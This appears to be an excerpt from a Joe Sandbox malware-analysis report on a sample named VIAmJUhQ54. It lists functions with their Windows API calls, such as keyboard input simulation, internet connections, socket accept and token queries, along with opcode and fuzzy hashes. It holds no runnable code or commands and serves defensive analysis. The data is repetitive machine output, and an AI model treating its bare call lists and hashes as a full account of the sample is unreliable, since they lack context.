Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 887001c2a9e5fe479e654a91938c6061ee71838d4ec22828bf6ecd6f19ea3048
Instruction ID: 0c955848d5cc5321dbee48bde56bf5da9fd7efb8cb691c0184c14078e79feefb
Opcode Fuzzy Hash: 887001c2a9e5fe479e654a91938c6061ee71838d4ec22828bf6ecd6f19ea3048
Instruction Fuzzy Hash: BC519530604306DBDB249F65D495AAEB3E5EF55311F20882FEA46CB2D1EBBC9849C705

Function 0078C4D7 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00D87928,?), ref: 0078C544
ScreenToClient.USER32(?,00000002), ref: 0078C574
MoveWindow.USER32(00000002,?,?,?,000000FF,00000001,?,00000002,?,?,?,00000002,?,?), ref: 0078C5DA

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 54f68e54f373521b99ec76251b608da87fd8d28e0020826167b625a868b2822f
Instruction ID: 20791ac4178d85412d575c804cf84e4fd180e994880d5c46cd6e90594335fe11
Opcode Fuzzy Hash: 54f68e54f373521b99ec76251b608da87fd8d28e0020826167b625a868b2822f
Instruction Fuzzy Hash: A0516275A40104EFCF21EF68C8819AE7BB5FF59320F208269F9559B290D738ED41CBA0

Function 0075C410 Relevance: 6.1, APIs: 4, Instructions: 130windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 0075C462
__itow.LIBCMT ref: 0075C49C

Part of subcall function 0075C6E8: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 0075C753

SendMessageW.USER32(?,0000110A,00000001,?), ref: 0075C505
__itow.LIBCMT ref: 0075C55A

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 481f7bea5324b8cb830126296ea4eafc60c9abf818594c576ccd46bd60a44d3c
Instruction ID: b2062beee408cd9edb232423b23c1871b9fbbf5911f16faab5a3a37449bdc7d7
Opcode Fuzzy Hash: 481f7bea5324b8cb830126296ea4eafc60c9abf818594c576ccd46bd60a44d3c
Instruction Fuzzy Hash: 8741D771A00318AFDF22DF54D859FEE7BB5AF55701F000019FD05A7281DBB89A59CBA1

Function 0076390C Relevance: 6.1, APIs: 4, Instructions: 112keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00763966
SetKeyboardState.USER32(00000080,?,00000001), ref: 00763982
PostMessageW.USER32(00000000,00000102,?,00000001), ref: 007639EF
SendInput.USER32(00000001,?,0000001C,00000000,?,00000001), ref: 00763A4D

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 7feae870913cb22083e6e5c54adbaecc2670771450045a2f972ede5136e75e07
Instruction ID: beeca405c125c0ba144bf824650ab02dc9d481f7aa4a2cc5053a03adf83bcaed
Opcode Fuzzy Hash: 7feae870913cb22083e6e5c54adbaecc2670771450045a2f972ede5136e75e07
Instruction Fuzzy Hash: 44410770E04748AAEF318B648809BFDBBB59B55314F08415AFCC3922C1C7BC9E95DB65

Function 0078B544 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0078B5D1

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: da10ef046c99ee70ec0cce615901d2d86f6976977227bb88e2337f025fd9a5d5
Instruction ID: f4fe664c225aa8c7af397bf09845441cbbaac32d4f26ae5a8cae486cb0460f6b
Opcode Fuzzy Hash: da10ef046c99ee70ec0cce615901d2d86f6976977227bb88e2337f025fd9a5d5
Instruction Fuzzy Hash: 2131C274681104FFEF30AF18CC89FA87765AB4A350F548111FA52D62E1D73CA9509B55

Function 0078D7DE Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0078D807
GetWindowRect.USER32(?,?), ref: 0078D87D
PtInRect.USER32(?,?,0078ED5A), ref: 0078D88D
MessageBeep.USER32(00000000), ref: 0078D8FE

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 26cf50fc94ed1b8f8e481c6e6854978264accce0011dda0e35b57fa2fc2103b9
Instruction ID: c79664a802a3246c9e8b020e3df93b0e0c7f76a5516eaf38ca8f89c31677fd5d
Opcode Fuzzy Hash: 26cf50fc94ed1b8f8e481c6e6854978264accce0011dda0e35b57fa2fc2103b9
Instruction Fuzzy Hash: 7D418970A40258DFCB21EF59D885BA9BBF5FB49320F1881A9E815DF2A0D738ED41CB40

Function 00763A61 Relevance: 6.1, APIs: 4, Instructions: 104keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,7707C0D0,?,00008000), ref: 00763AB8
SetKeyboardState.USER32(00000080,?,00008000), ref: 00763AD4
PostMessageW.USER32(00000000,00000101,00000000,?), ref: 00763B34
SendInput.USER32(00000001,?,0000001C,7707C0D0,?,00008000), ref: 00763B92

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 0b5361c93a12cfe1e19e4debd3880af9b32b09e7b58d551ed395d8bdda881649
Instruction ID: 19ea504855c0020dc64bdd0fc2e9d8a1e6957c825ae47bcf7cd93142478f2fb5
Opcode Fuzzy Hash: 0b5361c93a12cfe1e19e4debd3880af9b32b09e7b58d551ed395d8bdda881649
Instruction Fuzzy Hash: 6031E3B0E00258AEEF318B64C819BFE7BA99B56310F04015AEC8B972D2C77D8F45D765

Function 00754004 Relevance: 6.1, APIs: 4, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00754038
__isleadbyte_l.LIBCMT ref: 00754066
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 00754094
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 007540CA

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 35216e8610586ff062d8264f2ea7b39443c3a05e3f0978577d9a79ae83825f8a
Instruction ID: 01a2690ff969e1af4d3b72b6a2ec8538190bda6bbd9a825b17b98b2cf29759ca
Opcode Fuzzy Hash: 35216e8610586ff062d8264f2ea7b39443c3a05e3f0978577d9a79ae83825f8a
Instruction Fuzzy Hash: B031D431504209EFDB219F75C844BEA7BA5FF41316F2540A8EA598B0D0E779DCD4DB90

Function 00787CA5 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00787CB9

Part of subcall function 00765F55: GetWindowThreadProcessId.USER32(?,00000000), ref: 00765F6F
Part of subcall function 00765F55: GetCurrentThreadId.KERNEL32 ref: 00765F76
Part of subcall function 00765F55: AttachThreadInput.USER32(00000000,?,0076781F), ref: 00765F7D

GetCaretPos.USER32(?), ref: 00787CCA
ClientToScreen.USER32(00000000,?), ref: 00787D03
GetForegroundWindow.USER32 ref: 00787D09

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: f1f140d4552a7dd767636afe56af2c307d2ce15c665967b4172719cb4e234049
Instruction ID: 1b6d0e3f682605fa434ab6d4f849ce3a89ce406f87492efdd3267fc5419fb023
Opcode Fuzzy Hash: f1f140d4552a7dd767636afe56af2c307d2ce15c665967b4172719cb4e234049
Instruction Fuzzy Hash: 8F31FE72900108AFDB11EFA5D8459EFBBF9EF98314F118466E816E7212DA359E05CBA0

Function 0078F1D7 Relevance: 6.1, APIs: 4, Instructions: 80windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0073B34E: GetWindowLongW.USER32(?,000000EB), ref: 0073B35F

GetCursorPos.USER32(?), ref: 0078F211
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0079E4C0,?,?,?,?,?), ref: 0078F226
GetCursorPos.USER32(?), ref: 0078F270
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0079E4C0,?,?,?), ref: 0078F2A6

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 24c71ac5e6f75eb40f0468d96087ea23fcf1aadb958b995e4bf1051b7b584a4d
Instruction ID: 9486f61d3d2136a5a3e83e2254919303d3a1fc893f5df4365b517629db64d300
Opcode Fuzzy Hash: 24c71ac5e6f75eb40f0468d96087ea23fcf1aadb958b995e4bf1051b7b584a4d
Instruction Fuzzy Hash: 6421B139601028EFCB259F94CC59EEEBBB5FF4A310F448069F9058B2A1D7389D50DB60

Function 0077431C Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00774358

Part of subcall function 007743E2: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00774401
Part of subcall function 007743E2: InternetCloseHandle.WININET(00000000), ref: 0077449E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: b733c5047f6ddafac6f23c7adc6afe213e31e2e23fc2027673bd969e1d8397b0
Instruction ID: 16cea256b85aa1f23ba94d178794fa429a44edd17cf564ad9fe4c965f6ac591a
Opcode Fuzzy Hash: b733c5047f6ddafac6f23c7adc6afe213e31e2e23fc2027673bd969e1d8397b0
Instruction Fuzzy Hash: 2821A131200705BBEF259F70DC00FBBB7A9FF85750F10801ABA1EA6690DB7998219B94

Function 00778A7F Relevance: 6.1, APIs: 4, Instructions: 69networkCOMMON

Download Yara Rule

APIs

select.WSOCK32(00000000,00000001,00000000,00000000,?), ref: 00778AE0
__WSAFDIsSet.WSOCK32(00000000,00000001), ref: 00778AF2
accept.WSOCK32(00000000,00000000,00000000), ref: 00778AFF
WSAGetLastError.WSOCK32(00000000), ref: 00778B16

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ErrorLastacceptselect
String ID:
API String ID: 385091864-0
Opcode ID: 4912562a4b1f1561b0c7e65c6817af8e1294ec6396daed7749843881d3b2eb79
Instruction ID: dfc57543ffe9d0724bdb9523caeca92808a709866f2de760d4e6dc53cf7963ad
Opcode Fuzzy Hash: 4912562a4b1f1561b0c7e65c6817af8e1294ec6396daed7749843881d3b2eb79
Instruction Fuzzy Hash: 0E219672A001249FCB259F68C889ADE7BECEF4A350F008169F84AD7251DB789D418FA0

Function 00788A37 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00788AA6
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00788AC0
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00788ACE
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00788ADC

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: 8a2bd679cf238fa75e58e19faf93e27ce96f635b692d9c9c3d676dc62bb73df1
Instruction ID: a8dcbb594f2881ace92919f2ab9f4037c779e3bf6ff310804e77ae5b26dabf10
Opcode Fuzzy Hash: 8a2bd679cf238fa75e58e19faf93e27ce96f635b692d9c9c3d676dc62bb73df1
Instruction Fuzzy Hash: 7C119331245111AFD758AB14DC09FBA7799BF89320F14811AF916C72E2CB78AC018796

Function 00760AA6 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00761E68: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,00760ABB,?,?,?,0076187A,00000000,000000EF,00000119,?,?), ref: 00761E77
Part of subcall function 00761E68: lstrcpyW.KERNEL32(00000000,?,?,00760ABB,?,?,?,0076187A,00000000,000000EF,00000119,?,?,00000000), ref: 00761E9D
Part of subcall function 00761E68: lstrcmpiW.KERNEL32(00000000,?,00760ABB,?,?,?,0076187A,00000000,000000EF,00000119,?,?), ref: 00761ECE

lstrlenW.KERNEL32(?,00000002,?,?,?,?,0076187A,00000000,000000EF,00000119,?,?,00000000), ref: 00760AD4
lstrcpyW.KERNEL32(00000000,?,?,0076187A,00000000,000000EF,00000119,?,?,00000000), ref: 00760AFA
lstrcmpiW.KERNEL32(00000002,cdecl,?,0076187A,00000000,000000EF,00000119,?,?,00000000), ref: 00760B2E

Strings

cdecl, xrefs: 00760B25

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 9faaf431dd4792fba9b37c4c13df760b21834b030a8b6ffcfcc7f13a21e4daac
Instruction ID: 38df7b12e1fc38e2b436ab92595cd5bc217ca85ecb2e1d5880ba6e7341a6749d
Opcode Fuzzy Hash: 9faaf431dd4792fba9b37c4c13df760b21834b030a8b6ffcfcc7f13a21e4daac
Instruction Fuzzy Hash: F6117F76200305EFDB25AF24DC49D7A77A9FF46354B80806AE80BCB260EB799C51D7E4

Function 00752F96 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00752FB5

Part of subcall function 0074395C: __FF_MSGBANNER.LIBCMT ref: 00743973
Part of subcall function 0074395C: __NMSG_WRITE.LIBCMT ref: 0074397A
Part of subcall function 0074395C: RtlAllocateHeap.NTDLL(00D60000,00000000,00000001,00000001,00000000,?,?,0073F507,?,0000000E), ref: 0074399F

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: c281c9149ff13325076641acafe1062c358bc1687ed931ba2132e1b8bf624309
Instruction ID: 3fa366593d855498477ae14d70cc8c405916a7890bef86423d6ea01513107ab9
Opcode Fuzzy Hash: c281c9149ff13325076641acafe1062c358bc1687ed931ba2132e1b8bf624309
Instruction Fuzzy Hash: 7A110D31509315EBCF313FB4AC486A93B98AF453A2F208815FC4D9A1E2DBBCCD45C6A0

Function 0076058F Relevance: 6.1, APIs: 4, Instructions: 64registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 007605AC
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 007605C7
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 007605DD
FreeLibrary.KERNEL32(?), ref: 00760632

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Type$FileFreeLibraryLoadModuleNameRegister
String ID:
API String ID: 3137044355-0
Opcode ID: 382521281c92f8d3085b5d5a71692b68c34b57fd548bb6a4dfa843cb8bda4915
Instruction ID: 733ffeb4438ee86486409970f485c77e3a737e50de320f59577a04b847993dea
Opcode Fuzzy Hash: 382521281c92f8d3085b5d5a71692b68c34b57fd548bb6a4dfa843cb8bda4915
Instruction Fuzzy Hash: 5F218E71900209EFDB208FA1DC88ADBBBB8EF80700F00C46DE91796150D778EA59DF91

Function 00766713 Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00766733
_memset.LIBCMT ref: 00766754
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 007667A6
CloseHandle.KERNEL32(00000000), ref: 007667AF

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 81015a2f0d4b16f3a4e619f7676f6f513eefd791acd674f2cb2936abd31bd143
Instruction ID: 9f58be8a148d69c5960ab174b1024ff139403ca5c2879d13d0b1ebfa8455906c
Opcode Fuzzy Hash: 81015a2f0d4b16f3a4e619f7676f6f513eefd791acd674f2cb2936abd31bd143
Instruction Fuzzy Hash: E8110A71901228BAE7305BA5AC4DFABBABCEF45724F10419AF905E71C0D2744E84CBA8

Function 0075B1CC Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0075AA62: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 0075AA79
Part of subcall function 0075AA62: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 0075AA83
Part of subcall function 0075AA62: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 0075AA92
Part of subcall function 0075AA62: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 0075AA99
Part of subcall function 0075AA62: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 0075AAAF

GetLengthSid.ADVAPI32(?,00000000,0075ADE4,?,?), ref: 0075B21B
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0075B227
HeapAlloc.KERNEL32(00000000), ref: 0075B22E
CopySid.ADVAPI32(?,00000000,?), ref: 0075B247

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
